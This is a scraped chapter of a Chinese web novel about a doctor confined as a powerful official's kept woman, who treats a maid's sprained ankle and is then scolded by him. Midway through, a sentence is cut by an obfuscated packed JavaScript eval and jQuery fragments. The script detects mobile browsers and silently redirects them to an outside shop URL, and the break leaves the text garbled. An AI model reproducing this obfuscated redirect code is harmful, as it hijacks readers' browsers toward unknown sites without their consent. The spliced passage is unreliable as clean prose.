文趣网 > 其他小说 > 替身被强取豪夺后 > 31. 第 31 章
    说着,寻春又心疼地看着洛青桃身上的衣裳,“身上这件水绿色的齐腰裙,今儿可是头一回上身呢,姑娘这么一蹲,可就拖到地上了。”

    洛青桃从医馆带来的那几身布裙,都被林庭树命人扔了,再不许她穿,用他的话说,就是穿得那样素给谁哭丧去?如今她的衣裳,都是林庭树这阵子陆续赏的料子、绣娘量体裁衣后做成的衣裳,都是极精细的好料子。倒怪不得寻春心疼。

    洛青桃并不是糟践好东西的性子,尽管林庭树赏的她并不想接,可到底衣裳是无辜的。方才她急着看病者的伤处,这才没顾及直接蹲在了地上。往常她行医穿的都是方便行动的衣裳,一时也没意识到。

    她将裙摆微微提起拢在膝上,免得沾了尘,而后摸着雁儿的脚踝骨头,末了道,“骨头没事,想来只是扭伤了筋脉。”

    说着头也不抬地吩咐寻春,“去把我药箱拿来。”

    隔着竹帘,林庭树站在廊下看进来。见她蹲着,拢着裙摆,上身是件绯色的半臂,下面配一件水绿色的齐腰裙,丝帛的束腰显得腰身盈盈一握,脊背直而薄。

    这身衣裳是他库房里的料子做的,自是上好的料子,水波一般泛着淡淡的光泽。发髻倒是简单,依旧是那根圆润的珍珠簪子掩在乌黑的发中。她本就生得极美,这样精心一装扮,更是惊心动魄地漂亮。

    林庭树一时挪不开眼,看着她的侧脸,一双干净清澈的眼睛,正仔细盯着那小丫头的脚,丁点不嫌有损身份。

    和在他面前时那一副虽听话却死气沉沉的模样截然不同。林庭树竟一时不想打扰了,只站在竹帘外凝神地看着。

    看来倒真是喜欢行医,也不知这等苦累的事有什么意思。

    屋里,寻春虽不满,却也还是将搁在条案上的药箱提了过来,放在洛青桃手边,只是嘴里还不住絮叨着。

    洛青桃从里头找出个瓷瓶来,将里头的药油倒在手心。药油凝在她纤细白净的双手中,越发衬得那双手白玉一般,黑色的药油在她掌心,仿佛玷污了般。

    但洛青桃并不在意,她将药油在手心搓开捂热了,然后对呆愣的雁儿道,“我用药油给你揉开扭伤的筋脉,会有些疼,不过很快就好了。”

    末了她伸手握住了雁儿的脚踝,使了些力气去揉搓。

    雁儿显然没想到洛青桃能这么做,虽说她不算林府的正经主子,但毕竟是大爷的屋里人,和她们这些丫鬟是截然不同的。

    她吓了一跳,就要抽回脚,却听洛青桃轻喝一声,“不要乱动!”

    雁儿就不敢动弹了,心想,洛姑娘平日里看着温温柔柔、安安静静的,这会儿治起病来动作利索、语气果断,实在很令人信服。

    洛青桃毕竟是大夫,面对不听话的病者,语气少不得严厉些。雁儿就是被她这气度镇住了。

    片刻后洛青桃治疗完毕,问雁儿,“现在脚还疼吗?”

    雁儿坐在圆凳上动了动伤脚,小小的脸上露出惊喜来,“没刚才那么疼了!”

    到底年纪不大,还是孩子心性,再加上洛青桃性子温和,她这会儿也不怕了,反而眼睛亮晶晶地说,“姑娘,你好厉害,你会治病!”

    洛青桃笑了笑,被林庭树束缚,她已一个多月没有为人行医诊脉了,这会儿见病者欣喜的表情,也是内心油然而生一股满足。

    她笑道,“下回若有什么不舒服的,可不要像这回一样忍着。若是昨天你的脚刚扭伤的时候就用药油揉一揉,可不会像今天这么严重。”

    雁儿垂着头,“我的月钱都给爹娘了,手里没钱去找大夫,就忍着,想着说不定过一两天就好了。”

    洛青桃摇头,以大夫的口吻教育着她,“小病不治,可容易拖成大病。”

    想着她说自己的月钱给了爹娘,不由得也想起自己过世的父母来,语气越发温和了,“下回你若有什么不舒服的,尽管来找我就是了,我也会治病的。”

    洛青桃在一旁盆中细细净了手,然后将装了药油的瓷瓶收好,放回药箱里,里头瓶瓶罐罐、脉案针囊等都被她摆的整整齐齐,大夫多注重洁净整齐,洛青桃亦如是。

    一边整理药箱,她一边给雁儿说,“明日记得再来找我,我再给你上药油。”

    雁儿还没说什么,寻春听了却阻止,“姑娘,这一回只当你仁心,明个儿让她自己用药油抹就是了。她一个伺候人的丫头,哪里值当你纡尊降贵?”

    洛青桃听了却道,“她是下人,难道我是主子不成?我不也是伺候人的。”雁儿伺候她,她伺候林庭树罢了。谁又比谁高贵呢。

    说着她轻嘲一笑,指着雁儿,“我看她比我还好些,她是正经丫鬟,我却连个身份都没有。她每个月还有两天能放假出府去,我却像犯人一样被关着。”

    “倒是又委屈上了。”

    竹帘外忽传来男声沉冷的声音。

    寻春一听这声音就是心里一惊,回身果然见林庭树不知什么时候站在外头,她唬的连忙行礼,“见过大爷。”

    竹帘从外被一只筋骨分明的大掌掀开,林庭树穿一身深色暗纹的大袖直裰,皮革的腰封束腰,微微低头从帘下迈步而入。

    罘网院小巧,因此正屋也并不大,他一进屋,那通身的气势立刻充满了整间屋子,令人难以忽视。

    雁儿更是吓傻了,光着脚就跳下了圆凳,唬的磕磕巴巴的,生怕大爷因她方才没个尊卑高低而罚她,“……见过大爷!”

    洛青桃微微皱眉,没想到自己在屋里随便说话却也被他听到了,她不过随口那么一句感慨而已。

    看来罘网院也不是清净地,也是,这阖府哪里不是他的地盘,在他的地盘上自己哪有什么畅所欲言的道理。

    不过笼中的鸟儿罢了。

    又想起他不准自己行医,可方才她却给雁儿治了脚,若是他发作起来牵连了雁儿却又不好了。

    心中再怎么不满,面上却只敛了那灵动神情,变成了温顺而木然的模样,只福身行礼认错,“是我方

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664484|204209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    才说话没个遮拦,还请大人恕罪。”

    林庭树见她又变成了那泥塑木偶的模样,顿时就是胸口一滞,有心想发作,偏她如此温顺,自己还能说什么,只觉得自己方才那句话接的实在不对。竟是搬起石头砸了自己的脚。

    他不免有些郁气,冷着脸抬手,“下去。”

    寻春和雁儿如蒙大赦,忙不迭下去了。

    洛青桃还垂着头站在那里,也不主动迎上来,林庭树便自己走过来,低眼见桌上药箱摊开,有心想找话说,随手拿了个瓷瓶出来,拿在手里端详,问,“这是治什么的?”

    洛青桃这才抬头,看了一眼后说,“金疮药,治外伤。”

    林庭树又拿了一个,“这个呢?”

    洛青桃回,“跌打损伤的药油。”

    他又拿一个出来,“这个呢?”

    洛青桃一一答了。

    洛青桃的药箱里装的东西极多,常见治跌打损伤的药膏,缠伤口的绷带,针囊,脉案册子,脉枕,医书,等等等等……小小的瓶瓶罐罐一一罗列,从高到低摆地整整齐齐。

    可被林庭树这么东拿西拿的,顷刻间就乱七八糟的。

    洛青桃有心想忍,可实在看不过去,这样乱七八糟的,让她只觉得心里被猫挠了似的,顿生难受之感。

    见林庭树还要翻她的药箱,她实在忍不了了,从他手里将他刚拿起的一卷纱布夺了回来,“药箱都乱了!”

    清凌凌的眼睛带着些许不满,瞥了林庭树一眼,而后低下头,忙将抢回来的纱布重新放回去。

    林庭树见状却不恼,好整以暇看过来,只见她低着头认真摆弄着自己的药箱,将那些被他拿出来的瓶瓶罐罐按照高低、颜色重新摆了回去,药箱里重新恢复了整洁,她这才微微翘了翘唇角,显然是对自己的成果很满意了。

    林庭树沉静凝视着,不知为何,忽无声轻笑。

    于是,方才那看见她蹲下身子给一个小丫头治脚的不快,也就消散了。只心里还有些恨铁不成钢,她什么身份,给下人那样纡尊降贵地治病?他林庭树的女人需要做这种事?真是不嫌苦累!

    免不了还是开口警告,“方才那等没身份的事,日后不许再做了。传出去让人笑话。”

    洛青桃早有预感,知道他要说这种话的。也没说什么,除了答应她还能说什么。笼子里的鸟儿,一言一行都要听人的话。

    她将心中泛起的波澜再次压下,不能沉溺在这种不开心的情绪中,她要努力平和地生活下去。

    她低头,“是,大人。”

    洛青桃自认无甚情绪外露,可林庭树执掌刑狱、明察秋毫,哪里看不出她的情绪变化。见他不过那一句命令,她又变得死气沉沉,不免拧起了眉,沉下了脸。

    “先前不也答应的好好的,方才不是再犯?可见你不过是敷衍了事,只做出一副柔顺模样哄我罢了!”林庭树负手喝了一声。明明方才还是一副灵动干净的样子,怎么在他面前就这样了?